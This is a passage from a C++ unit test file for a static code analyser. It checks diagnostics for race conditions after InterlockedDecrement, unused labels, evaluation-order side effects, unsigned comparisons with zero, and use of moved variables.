InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else\\n\"\n \" return counter;\\n\"\n \" \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n 